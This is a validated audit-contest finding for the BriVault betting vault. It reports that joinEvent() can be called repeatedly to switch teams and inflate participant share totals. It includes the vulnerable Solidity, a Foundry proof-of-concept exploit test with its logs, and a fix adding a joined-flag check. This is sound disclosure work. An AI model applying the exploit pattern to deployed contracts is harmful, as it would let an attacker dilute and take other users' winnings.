BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

[H-01] - Multiple `joinEvent()` calls allow team switching and state corruption leading to incorrect payouts

Root + Impact

Description

The joinEvent() function in briVault.sol lacks a mechanism to prevent users from calling it multiple times. This violates the protocol's stated requirement that "users should only join once" (protocolFlow.txt, line 31).

Each time a user calls joinEvent(), the function:

  1. Overwrites their previously selected team in userToCountry[msg.sender]

  2. Pushes their address again onto the usersAddress array

  3. Increments numberOfParticipants

  4. Adds their full share balance to totalParticipantShares again

This allows a malicious user to:

  • Switch teams after depositing, potentially after seeing early tournament results

  • Inflate numberOfParticipants by 5x, 10x, or more

  • Inflate totalParticipantShares by the same factor

  • Gain an unfair advantage by waiting to see which team is winning before committing

The inflated totalParticipantShares value is used in the withdraw() function to calculate payouts, causing all legitimate winners to receive diluted payouts.

// Root cause in the codebase (briVault.sol, lines 242-269)
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
userToCountry[msg.sender] = teams[countryId]; // @> Can be overwritten multiple times
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares; // @> Overwrites old value
usersAddress.push(msg.sender); // @> Adds duplicate address
numberOfParticipants++; // @> Inflates count
totalParticipantShares += participantShares; // @> Double/triple/n-tuple counts shares
emit joinedEvent(msg.sender, countryId);
}

Note: There is no check to prevent msg.sender from calling this function multiple times.

Risk

Likelihood: High
The vulnerability is easily exploitable by any user who has deposited funds. The attack path is straightforward: simply call joinEvent() multiple times with different team IDs. No special timing, external contracts, or complex setup is required. The exploit was confirmed with a Proof of Concept that demonstrates 5x state inflation.

Impact: High
The attacker can:

  1. Switch teams after seeing results: Wait until a winning team is apparent, then switch to that team

  2. Dilute winner payouts: The inflated totalParticipantShares causes all winners to receive less than they should

  3. Permanently corrupt state: The numberOfParticipants and totalParticipantShares become permanently inaccurate

  4. Violate protocol requirements: Directly violates the stated requirement "users should only join once"

This results in direct fund loss for legitimate winners and breaks the fundamental fairness of the betting mechanism.

Proof of Concept

The exploit was confirmed using a Foundry test that demonstrates an attacker calling joinEvent() five times.

  1. Setup:

    • The BriVault contract is deployed with a tournament event

    • An attacker deposits 10 ETH and receives 9.85 ETH worth of shares (after 1.5% fee)

  2. Attack:

    • The attacker calls joinEvent() 5 times with different team IDs (0, 1, 2, 3, 4)

    • Each call successfully executes and updates the state

  3. Result:

    • numberOfParticipants: 1 → 2 → 3 → 4 → 5 (5x inflation)

    • totalParticipantShares: 9.85e18 → 19.7e18 → 29.55e18 → 39.4e18 → 49.25e18 (5x inflation)

    • userToCountry[attacker]: "United States" → "Canada" → "Mexico" → "Argentina" → "Brazil" (team switching confirmed)

    • The attacker's actual share balance remains 9.85e18 (unchanged)

Supporting Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MockERC20} from "./MockErc20.t.sol";
contract BriVaultExploits is Test {
BriVault public briVault;
MockERC20 public mockToken;
address public owner;
address public attacker;
uint256 public eventStartDate;
uint256 public eventEndDate;
function setUp() public {
owner = makeAddr("owner");
attacker = makeAddr("attacker");
mockToken = new MockERC20("Mock Token", "MTK");
eventStartDate = block.timestamp + 2 days;
eventEndDate = block.timestamp + 31 days;
vm.prank(owner);
briVault = new BriVault(
IERC20(address(mockToken)),
150, // 1.5% fee
eventStartDate,
makeAddr("feeAddress"),
0.0002 ether,
eventEndDate
);
mockToken.mint(attacker, 1000 ether);
}
function testExploit_MultipleJoinEventCalls() public {
console.log("\n=== EXPLOIT: Multiple joinEvent() Calls ===");
// Step 1: Attacker deposits 10 ETH
vm.startPrank(attacker);
mockToken.approve(address(briVault), 10 ether);
uint256 shares = briVault.deposit(10 ether, attacker);
console.log("Attacker deposited 10 ETH, received shares:", shares);
console.log("\n--- Calling joinEvent() 5 times for different teams ---");
// Step 2: Attacker calls joinEvent() 5 times with different teams
for (uint256 i = 0; i < 5; i++) {
briVault.joinEvent(i);
console.log("After join", i + 1, "- numberOfParticipants:", briVault.numberOfParticipants());
console.log("After join", i + 1, "- totalParticipantShares:", briVault.totalParticipantShares());
}
vm.stopPrank();
console.log("\n--- Exploit Results ---");
console.log("Final numberOfParticipants:", briVault.numberOfParticipants());
console.log("Final totalParticipantShares:", briVault.totalParticipantShares());
console.log("Attacker's actual shares:", shares);
console.log("Share inflation factor:", 5);
// Verify the state corruption
assertEq(briVault.numberOfParticipants(), 5, "numberOfParticipants should be inflated to 5");
assertEq(briVault.totalParticipantShares(), shares * 5, "totalParticipantShares should be 5x inflated");
assertEq(briVault.userToCountry(attacker), "Brazil", "Attacker should be on team 4 (last joined)");
console.log("\n[+] EXPLOIT CONFIRMED: Multiple joinEvent() calls succeed");
console.log(" - Attacker can switch teams");
console.log(" - numberOfParticipants inflated 5x");
console.log(" - totalParticipantShares inflated 5x");
}
}

Test Results:

Test: testExploit_MultipleJoinEventCalls()
Status: PASS
Gas Used: 559,783
Logs:
=== EXPLOIT: Multiple joinEvent() Calls ===
Attacker deposited 10 ETH, received shares: 9850000000000000000
--- Calling joinEvent() 5 times for different teams ---
After join 1 - numberOfParticipants: 1
After join 1 - totalParticipantShares: 9850000000000000000
After join 2 - numberOfParticipants: 2
After join 2 - totalParticipantShares: 19700000000000000000
After join 3 - numberOfParticipants: 3
After join 3 - totalParticipantShares: 29550000000000000000
After join 4 - numberOfParticipants: 4
After join 4 - totalParticipantShares: 39400000000000000000
After join 5 - numberOfParticipants: 5
After join 5 - totalParticipantShares: 49250000000000000000
--- Exploit Results ---
Final numberOfParticipants: 5
Final totalParticipantShares: 49250000000000000000
Attacker's actual shares: 9850000000000000000
Share inflation factor: 5
[+] EXPLOIT CONFIRMED: Multiple joinEvent() calls succeed
- Attacker can switch teams
- numberOfParticipants inflated 5x
- totalParticipantShares inflated 5x

Recommended Mitigation

Add a mapping to track whether a user has already joined the event, and require that they have not joined before allowing them to join.

+ // Add a mapping to track joined users
+ mapping(address => bool) public hasJoined;
function joinEvent(uint256 countryId) public {
+ // Require that the user has not already joined
+ require(!hasJoined[msg.sender], "Already joined");
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
+ // Mark the user as having joined
+ hasJoined[msg.sender] = true;
emit joinedEvent(msg.sender, countryId);
}

This ensures that each user can only join the event once, as required by the protocol specification.

Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Duplicate registration through `joinEvent`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!